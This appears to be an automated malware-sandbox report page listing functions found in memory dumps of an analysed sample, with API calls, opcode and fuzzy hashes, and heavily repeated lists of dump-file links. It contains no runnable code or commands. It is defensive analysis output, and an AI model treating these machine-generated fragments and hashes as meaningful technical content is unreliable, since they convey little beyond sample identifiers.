Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: d6ba4f096afa2273cfd1a7a9b3a8560f0de4df75e2937544b8954755799e339d
Instruction ID: c8d299e0101da9ff5eb12fcd645d42d83a8b3ef1c853ef9bde71685e51608341
Opcode Fuzzy Hash: d6ba4f096afa2273cfd1a7a9b3a8560f0de4df75e2937544b8954755799e339d
Instruction Fuzzy Hash: 2D11A4B4241208AFEB10CF64DC95FAAB7B5FB89704F248059FD159B390C775A901DB54

Function 00DA7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00DB0E00,00000000,?), ref: 00DA79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00DA79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00DB0E00,00000000,?), ref: 00DA79C4
wsprintfA.USER32 ref: 00DA79F3

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 2198d66017bf44c7b1e975af863d9356719d52c2d22035fc6ea7c7373ebc086a
Instruction ID: d3f0ad3aa0a6f0bde16786e08b8226dc8289eb0042c3e0b4e6477d7d58026ab2
Opcode Fuzzy Hash: 2198d66017bf44c7b1e975af863d9356719d52c2d22035fc6ea7c7373ebc086a
Instruction Fuzzy Hash: 42112AB2904118ABCB14DFD9DD45BBEB7F9FB4CB11F10421AFA05A2280D3399940E7B5

Function 01159D54 Relevance: 5.5, Strings: 3, Instructions: 1716COMMON

Download Yara Rule

Strings

F$of, xrefs: 0115A95E
\5:?, xrefs: 0115B117
$9?#, xrefs: 0115A26D

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $9?#$F$of$\5:?
API String ID: 0-3455623489
Opcode ID: 73ea969fe7e19dce9bdbed9b0745d88b9dd7a745e97649f7f3397da01a405abe
Instruction ID: c26cfcc0ed52c339d09338583daa6e3f8f1dbafa5a03da8afcb1105670afff67
Opcode Fuzzy Hash: 73ea969fe7e19dce9bdbed9b0745d88b9dd7a745e97649f7f3397da01a405abe
Instruction Fuzzy Hash: B8B23AF3A0C2049FE304AE2DDC8567ABBE9EFD4720F16863DEAC4C7744E93558058696

Function 0115D36A Relevance: 5.4, Strings: 3, Instructions: 1605COMMON

Download Yara Rule

Strings

I[o~, xrefs: 0115D623
5?C, xrefs: 0115E0CF
I[o~, xrefs: 0115D5EC

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I[o~$I[o~$5?C
API String ID: 0-747269604
Opcode ID: e45a5f7656d5c51e1f381643bc468d36ba060d4773e13417451b9c47d4cb5c45
Instruction ID: 70173f24c54457d204d2d9c3df900a9dadb0c10a941b5ba31b55eb53c1cd4d75
Opcode Fuzzy Hash: e45a5f7656d5c51e1f381643bc468d36ba060d4773e13417451b9c47d4cb5c45
Instruction Fuzzy Hash: FDB2E6F36082049FE304AE2DDC8567AFBE9EF94720F1A893DE6C4C7744EA3558058697

Function 0114FE7A Relevance: 5.4, Strings: 3, Instructions: 1601COMMON

Download Yara Rule

Strings

P5U3, xrefs: 011508B5
f3a~, xrefs: 01150E81
}s8), xrefs: 0114FF34

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: P5U3$f3a~$}s8)
API String ID: 0-693947270
Opcode ID: b134c040cc5725c90ceeb2ed27693548da2a90aea6793ce931247098f3738d71
Instruction ID: 335998ff9e19208ee71c08f9c3d4c065b87eafec767c07b44bb0f76c266eca6c
Opcode Fuzzy Hash: b134c040cc5725c90ceeb2ed27693548da2a90aea6793ce931247098f3738d71
Instruction Fuzzy Hash: 56B2E6F360C2049FE704AE2DDC8567ABBE9EF94720F1A493DE6C4C3744EA3598058697

Function 0115B957 Relevance: 5.3, Strings: 3, Instructions: 1532COMMON

Download Yara Rule

Strings

QSa, xrefs: 0115CC1C
>>?, xrefs: 0115C130
,z, xrefs: 0115BB2B

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >>?$,z$QSa
API String ID: 0-1803479088
Opcode ID: adac2d6950d3f4618ff7d0f26499af0fe9e4e6f7885a11b926a94ebb3f7ee4a4
Instruction ID: a901bc7f087cf9710e604c4b496b35c6217265237742fb3776fb3b4c1e8e58b3
Opcode Fuzzy Hash: adac2d6950d3f4618ff7d0f26499af0fe9e4e6f7885a11b926a94ebb3f7ee4a4
Instruction Fuzzy Hash: 00B2D2F360C200AFE304AF29EC8567AFBE9EF94720F16492DE6C5C7744E63558418796

Function 6C5A6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5A6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5A6E1E

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9f516c2a24abc7d61fb23e37297fd73d1f10b3a17eff13a2b6bcd0a9d991ade1
Instruction ID: d04f57907a247dbfaa45aeca9ee0e039f6901496b38e5a8ce9c60f9b8d12dce4
Opcode Fuzzy Hash: 9f516c2a24abc7d61fb23e37297fd73d1f10b3a17eff13a2b6bcd0a9d991ade1
Instruction Fuzzy Hash: 87A16C74618381CFC715CF29C8907AEBBE2BFC8308F45495DE48A97751DB70A949CB92

Function 00DA3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00DAE118,00000000,00000001,00DAE108,00000000), ref: 00DA3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00DA37B0

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: f3aa2205e7bf87ee90717427ae8f82ee96da3c45249cae41216eb474e63ee943
Instruction ID: 8be8e4eee5848005ce0e5cdb95df5fe5a9c5d77bbfbb9f190effe47444b26d90
Opcode Fuzzy Hash: f3aa2205e7bf87ee90717427ae8f82ee96da3c45249cae41216eb474e63ee943
Instruction Fuzzy Hash: 8141D670A40A289FDB24DB58CC95B9BB7B5FB49702F4041D8F609A72D0D771AE85CF60

Function 0110D637 Relevance: 3.9, Strings: 3, Instructions: 189COMMON

Download Yara Rule

Strings

5A=G, xrefs: 0110D7E4
Yo, xrefs: 0110D667
cT~, xrefs: 0110D6BE

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5A=G$Yo$cT~
API String ID: 0-351388888
Opcode ID: 884bb806b38877a4f26b8e956a3c003b1eaca6151c6697c67097e0cf93616d1f
Instruction ID: 6354eacfd16e0d2ee79a4501b1e120cf12303a55c0ff5107fc1b92f50504bdc5
Opcode Fuzzy Hash: 884bb806b38877a4f26b8e956a3c003b1eaca6151c6697c67097e0cf93616d1f
Instruction Fuzzy Hash: E751E4F3A083009FE3045E29EC8573AB7D9EFD4324F2A853DE688D7784E93859458746

Function 011556E2 Relevance: 3.3, Strings: 2, Instructions: 817COMMON

Download Yara Rule

Strings

sy}, xrefs: 01155B66
?cz, xrefs: 01155FA8

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
